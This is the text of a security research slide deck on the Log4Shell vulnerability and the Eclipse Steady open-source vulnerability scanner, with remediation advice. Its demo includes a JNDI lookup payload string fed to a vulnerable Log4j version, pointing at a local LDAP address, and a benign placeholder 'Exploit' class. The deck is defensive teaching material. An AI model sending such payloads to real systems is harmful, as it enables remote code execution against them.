


Manage Log4Shell and other open-source vulnerabilities with Eclipse Steady

Henrik Plate (SAP Security Research)
January 14th, 2022

PUBLIC



Agenda

Log4Shell

- Intro
- Step-by-step
- Demo
- Take-aways

Eclipse Steady

- Overview
- Approaches
- Architecture
- Demo
- Pros & Cons

Log4Shell

Log4j and CVE-2021-44228



Log4Shell


Introduction to CVE-2021-44228

- Apache Log4j is a widely used logging library in Java
- [CVE-2021-44228](#) allows for remote code execution (RCE)
- Low attack complexity, no privileges required, complete compromise → CVSS 10
- Attack succeeds if strings with JNDI lookups `${jndi:...}` are logged by apps depending on vulnerable versions of Log4j (2.0-beta9 to 2.14.1)
- Configuration settings can limit exposure and increase complexity (but not mitigate completely)
- Three other vulnerabilities have been found afterwards (CVE-2021-45046, 45105 and 44832)
- Latest non-vulnerable release is 2.17.1

Log4Shell

Step-by-step

Needs combination with other safeguards



Log4Shell

Demo

```
1 import org.apache.logging.log4j.Logger;
2
3 public class Main {
4
5     private static final Logger log = org.apache.logging.log4j.LogManager.getLogger("Main.class");
6
7     public static void main(String... args) {
8         for(String arg: args) {
9             Main.log.error(arg);
10        }
11    }
12 }
```

```
1 public class Exploit {
2     static {
3         System.out.println("*** Malicious <clinit> ***");
4     }
5
6     public Exploit() {
7         System.out.println("*** Malicious constructor ***");
8     }
9 }
```

```
java -cp lib/log4j-api-2.14.0.jar:lib/log4j-core-2.14.0.jar:target/classes Main '${jndi:ldap://127.0.0.1:1389/a}'
java -cp lib/log4j-api-2.17.1.jar:lib/log4j-core-2.17.1.jar:target/classes Main '${jndi:ldap://127.0.0.1:1389/a}'
java -cp lib/bar-1.0.0-SNAPSHOT.jar:lib/log4j-api-2.17.1.jar:lib/log4j-core-2.17.1.jar:target/classes \
Main '${jndi:ldap://127.0.0.1:1389/a}'
```

Log4Shell

Re-bundles

- Re-bundles are Java archives containing code of other open-source projects
- Example use-cases
 - Self-contained, executable JARs (Uber-JARs)
 - OSGI bundles
 - Forks
- Different variations:
 - Identical bytecode, re-compiled or re-packaged
 - With or without meta-data (`META-INF/maven/.../pom.xml`)
- Example: [3233 artifacts on Maven Central](#) contain the problematic Log4j class `JndiLookup`
- Problems:
 - If vulnerable re-bundles appear before `log4j-core 2.17.1` in the Java runtime classpath, the vulnerable classes are loaded from the re-bundle
 - Open-source vulnerability scanners struggle to identify re-bundles (depending on the variations) [1]


Log4Shell

Take-aways

- The attack complexity is very low
- Configuration settings can limit exposure and increase complexity (but not mitigate completely)
- Not only user-facing apps are affected (but any app that receives and logs untrusted input)
- Re-bundles of Log4j can also result in vulnerable apps

To fix

- Update to non-vulnerable versions of Log4j (and re-bundles) or remove `JndiLookup.class`
- Additionally, specify secure defaults in case vulnerable re-bundles are missed (to reduce exposure)



<https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/>

Eclipse Steady

<https://github.com/eclipse/steady>



partially funded by EU project



After Heartbleed and Equifax

Entering the Hamster Wheel



- **Check** for new vulnerability disclosures (hopefully automated)
- Dismiss false-positives, **assess** true-positives (keep fingers crossed for false-negatives)
- **Mitigate** (from *piece-of-cake* to *very expensive*)
- **Release and install patch** (cloud 😊 on-premise 😞 devices 😞)



Open-Source Vulnerability Detection

Two Approaches



Metadata-based

- Primarily rely on package names and versions, package digests, CPEs, etc.
- Example: [OWASP Dependency Check](#) (light-weight, maps against CVE/NVD)

Code-based

- Detect the presence of code (no matter the package)
- Example: [Eclipse Steady](#) (heavy-weight, requires fix-commits)
- Supports impact assessments (static and dynamic analyses), esp. important for later lifecycle phases and non-cloud
- Supports update metrics to avoid regressions [1]
- Based on [Project KB](#), which contains fix commits for given vulnerabilities

Fig. 2. Static and dynamic paths to vulnerable method





Fig. 1. [Fix-commit for CVE-2020-10683](#)

References:


[1] Ponta, S., et al.: [Beyond Metadata: Code-Centric and Usage-Based Analysis of Known Vulnerabilities in Open-Source Software](#) (2018)



Architecture

Roles

- Public dataset contains code-level vulnerability information → [Project KB](#) on GitHub
- Always-on Docker Compose app stores analysis results → [Docker Hub](#)
- Plugins or CLI scan Java apps in CI/CD pipelines → [Maven Central](#)



Setup → Scan → Browse Results → Central Report

Demo

- 1) Shell scripts to setup and start the Docker Compose app
(vulnerabilities from Project KB are imported after 1st startup...)
- 2) Maven plugin to scan a sample application
- 3) Web frontend to browse scan results
- 4) REST API to export scan results

Eclipse Steady

Pros & Cons

Steady Pros	Steady Cons (compared to OWASP DC)
Scans can be separated into workspaces w/ configurable properties	Depends on code-level vuln. info (more than just NVD → extra community effort)
New vulns. do not require app re-scans	More complex setup (e.g. private cloud)
Central reporting	Focus on Java
Vulns. of internal components can be covered	
Fewer FPs/FNs and additional features (due to code-centric analysis)	

The bigger the organization, the more Java projects, esp. non-cloud, and internal re-use components, and with central security/tooling teams: Eclipse Steady

Thank you.



Henrik.Plate@sap.com



<https://www.linkedin.com/in/HenrikPlate/>



<https://twitter.com/HenrikPlate>